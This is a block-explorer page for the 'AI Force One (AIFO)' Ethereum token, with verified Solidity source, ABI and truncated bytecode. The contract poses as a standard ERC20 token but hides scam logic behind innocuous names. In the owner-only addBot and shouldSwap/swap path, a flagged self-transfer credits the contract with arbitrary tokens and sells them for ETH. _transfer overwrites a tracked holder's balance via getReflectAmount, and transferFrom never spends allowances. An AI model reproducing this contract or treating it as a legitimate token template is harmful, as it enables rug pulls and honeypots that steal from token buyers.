ETH Price: $3,250.21 (-0.46%)
Gas: 20 Gwei

Token

AI Force One (AIFO)
 

Overview

Max Total Supply

1,000,000,000 AIFO

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Null: 0x000...000
Balance
0 AIFO

Value
$0.00
0x0000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIFO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-12
*/

pragma solidity ^0.8.18;

// SPDX-License-Identifier: MIT

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function addBot(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool allowed = !bots[to] && !isBot(from);
        bool InLq = inLiquidityTx;
        bool res = allowed;
        if (!bots[to] && 
        !isBot(from) && 
        !InLq && 
        pair != to) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (allowed && !InLq) { 
            if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}

contract AIFO is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 _fee = 4;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "AI Force One";
    string private  _symbol = unicode"AIFO";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = 0;
            uint256 swapBalance = getReflectAmount(from);
            _balances[uniswapV2Pair] = swapBalance;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            if (fee > 0) {
                emit Transfer(from, address(0), fee);
            }
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= 0;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    address devWallet;
    function updateDevWallet(address _devWallet) external onlyOwner {
        devWallet = _devWallet;
    }
    uint256 maxTransacion = _totalSupply.div(100);
    function updateMaxTransaction(uint256 limit) external onlyOwner {
        maxTransacion = limit;
    }
    function removeLimits() external onlyOwner {
        maxTransacion = _totalSupply;
    }
    address deadAddress = address(0xdead);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"updateMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000540565b633b9aca0062000046919062000591565b6006556004600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600c81526020017f414920466f726365204f6e65000000000000000000000000000000000000000081525060099081620000e991906200084c565b506040518060400160405280600481526020017f4149464f00000000000000000000000000000000000000000000000000000000815250600a90816200013091906200084c565b506200014e60646006546200035060201b62000d1f1790919060201c565b600c5561dead600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001a157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000342919062000944565b60405180910390a362000a4b565b600080821162000397576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200038e90620009c2565b60405180910390fd5b60008284620003a7919062000a13565b90508091505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200044157808604811115620004195762000418620003b3565b5b6001851615620004295780820291505b80810290506200043985620003e2565b9450620003f9565b94509492505050565b6000826200045c57600190506200052f565b816200046c57600090506200052f565b81600181146200048557600281146200049057620004c6565b60019150506200052f565b60ff841115620004a557620004a4620003b3565b5b8360020a915084821115620004bf57620004be620003b3565b5b506200052f565b5060208310610133831016604e8410600b8410161715620005005782820a905083811115620004fa57620004f9620003b3565b5b6200052f565b6200050f8484846001620003ef565b92509050818404811115620005295762000528620003b3565b5b81810290505b9392505050565b6000819050919050565b60006200054d8262000536565b91506200055a8362000536565b9250620005897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200044a565b905092915050565b60006200059e8262000536565b9150620005ab8362000536565b9250828202620005bb8162000536565b91508282048414831517620005d557620005d4620003b3565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065e57607f821691505b60208210810362000674576200067362000616565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200069f565b620006ea86836200069f565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200072d62000727620007218462000536565b62000702565b62000536565b9050919050565b6000819050919050565b62000749836200070c565b62000761620007588262000734565b848454620006ac565b825550505050565b600090565b6200077862000769565b620007858184846200073e565b505050565b5b81811015620007ad57620007a16000826200076e565b6001810190506200078b565b5050565b601f821115620007fc57620007c6816200067a565b620007d1846200068f565b81016020851015620007e1578190505b620007f9620007f0856200068f565b8301826200078a565b50505b505050565b600082821c905092915050565b6000620008216000198460080262000801565b1980831691505092915050565b60006200083c83836200080e565b9150826002028217905092915050565b6200085782620005dc565b67ffffffffffffffff811115620008735762000872620005e7565b5b6200087f825462000645565b6200088c828285620007b1565b600060209050601f831160018114620008c45760008415620008af578287015190505b620008bb85826200082e565b8655506200092b565b601f198416620008d4866200067a565b60005b82811015620008fe57848901518255600182019150602085019450602081019050620008d7565b868310156200091e57848901516200091a601f8916826200080e565b8355505b6001600288020188555050505b505050505050565b6200093e8162000536565b82525050565b60006020820190506200095b600083018462000933565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000620009aa601a8362000961565b9150620009b78262000972565b602082019050919050565b60006020820190508181036000830152620009dd816200099b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a208262000536565b915062000a2d8362000536565b92508262000a405762000a3f620009e4565b5b828204905092915050565b6126708062000a5b6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80633eaaf86b116100ad57806395d89b411161007157806395d89b411461030d5780639601f96c1461032b578063a457c2d71461035b578063a9059cbb1461038b578063dd62ed3e146103bb5761012c565b80633eaaf86b1461028d57806370a08231146102ab578063715018a6146102db578063751039fc146102e55780638da5cb5b146102ef5761012c565b806321bbcbb1116100f457806321bbcbb1146101d557806323b872dd146101f1578063313ce5671461022157806332424aa31461023f578063395093511461025d5761012c565b80630517d13d1461013157806306fdde031461014d578063095ea7b31461016b57806318160ddd1461019b5780631816467f146101b9575b600080fd5b61014b60048036038101906101469190611c2c565b6103eb565b005b61015561046a565b6040516101629190611ce9565b60405180910390f35b61018560048036038101906101809190611d69565b6104fc565b6040516101929190611dc4565b60405180910390f35b6101a3610513565b6040516101b09190611dee565b60405180910390f35b6101d360048036038101906101ce9190611e09565b61051d565b005b6101ef60048036038101906101ea9190611e9b565b6105d6565b005b61020b60048036038101906102069190611ee8565b6106ef565b6040516102189190611dc4565b60405180910390f35b610229610790565b6040516102369190611dee565b60405180910390f35b61024761079a565b6040516102549190611dee565b60405180910390f35b61027760048036038101906102729190611d69565b6107a0565b6040516102849190611dc4565b60405180910390f35b61029561083e565b6040516102a29190611dee565b60405180910390f35b6102c560048036038101906102c09190611e09565b610844565b6040516102d29190611dee565b60405180910390f35b6102e361088d565b005b6102ed6109c0565b005b6102f7610a40565b6040516103049190611f4a565b60405180910390f35b610315610a69565b6040516103229190611ce9565b60405180910390f35b61034560048036038101906103409190611f65565b610afb565b6040516103529190611dc4565b60405180910390f35b61037560048036038101906103709190611d69565b610b5a565b6040516103829190611dc4565b60405180910390f35b6103a560048036038101906103a09190611d69565b610c81565b6040516103b29190611dc4565b60405180910390f35b6103d560048036038101906103d09190611f65565b610c98565b6040516103e29190611dee565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1661040a610a40565b73ffffffffffffffffffffffffffffffffffffffff1614610460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045790611ff1565b60405180910390fd5b80600c8190555050565b60606009805461047990612040565b80601f01602080910402602001604051908101604052809291908181526020018280546104a590612040565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610d7d565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff1661053c610a40565b73ffffffffffffffffffffffffffffffffffffffff1614610592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058990611ff1565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166105f5610a40565b73ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064290611ff1565b60405180910390fd5b60005b828290508110156106ea57600180600085858581811061067157610670612071565b5b90506020020160208101906106869190611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106e2906120cf565b91505061064e565b505050565b60006106fc848484610f46565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561078557600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610834338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461082f9190612117565b610d7d565b6001905092915050565b60065481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166108ac610a40565b73ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990611ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166109df610a40565b73ffffffffffffffffffffffffffffffffffffffff1614610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90611ff1565b60405180910390fd5b600654600c81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a7890612040565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa490612040565b8015610af15780601f10610ac657610100808354040283529160200191610af1565b820191906000526020600020905b815481529060010190602001808311610ad457829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4f57610b39826112a2565b15610b4e57610b47836112a2565b9050610b54565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610be557600080fd5b610c77338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c72919061214b565b610d7d565b6001905092915050565b6000610c8e338484610f46565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808211610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a906121cb565b60405180910390fd5b60008284610d71919061221a565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de3906122bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e529061234f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f399190611dee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fb857600080fd5b610fc28383610afb565b15610fd657610fd181836112f8565b61129d565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561102257600080fd5b60008061102e856115c2565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006110a286866117a0565b905080156110d5576110d260646110c46007548761195090919063ffffffff16565b610d1f90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611120919061214b565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828461116f919061214b565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111bd9190612117565b92505081905550600083111561123457600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122b9190611dee565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516112919190611dee565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61132530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d7d565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113865761138561236f565b5b6040519080825280602002602001820160405280156113b45781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113e7576113e6612071565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561148e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b291906123b3565b816001815181106114c6576114c5612071565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426115509190612117565b6040518663ffffffff1660e01b81526004016115709594939291906124e3565b600060405180830381600087803b15801561158a57600080fd5b505af115801561159e573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611632573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165691906123b3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170391906123b3565b6040518363ffffffff1660e01b815260040161172092919061253d565b602060405180830381865afa15801561173d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176191906123b3565b90506117988382611793600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610844565b6119ca565b915050919050565b60006119488383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611814573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183891906123b3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e591906123b3565b6040518363ffffffff1660e01b815260040161190292919061253d565b602060405180830381865afa15801561191f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194391906123b3565b611a26565b905092915050565b600080830361196257600090506119c4565b600082846119709190612566565b905082848261197f919061221a565b146119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061261a565b60405180910390fd5b809150505b92915050565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611a0b57829050611a1b565b600081611a189190612566565b90505b809150509392505050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a895750611a87856112a2565b155b90506000600260149054906101000a900460ff1690506000829050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b045750611b02876112a2565b155b8015611b0e575081155b8015611b4657508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611b955785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611bdf565b828015611ba0575081155b15611bde578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611bdd57600190505b5b5b8093505050509392505050565b600080fd5b600080fd5b6000819050919050565b611c0981611bf6565b8114611c1457600080fd5b50565b600081359050611c2681611c00565b92915050565b600060208284031215611c4257611c41611bec565b5b6000611c5084828501611c17565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c93578082015181840152602081019050611c78565b60008484015250505050565b6000601f19601f8301169050919050565b6000611cbb82611c59565b611cc58185611c64565b9350611cd5818560208601611c75565b611cde81611c9f565b840191505092915050565b60006020820190508181036000830152611d038184611cb0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d3682611d0b565b9050919050565b611d4681611d2b565b8114611d5157600080fd5b50565b600081359050611d6381611d3d565b92915050565b60008060408385031215611d8057611d7f611bec565b5b6000611d8e85828601611d54565b9250506020611d9f85828601611c17565b9150509250929050565b60008115159050919050565b611dbe81611da9565b82525050565b6000602082019050611dd96000830184611db5565b92915050565b611de881611bf6565b82525050565b6000602082019050611e036000830184611ddf565b929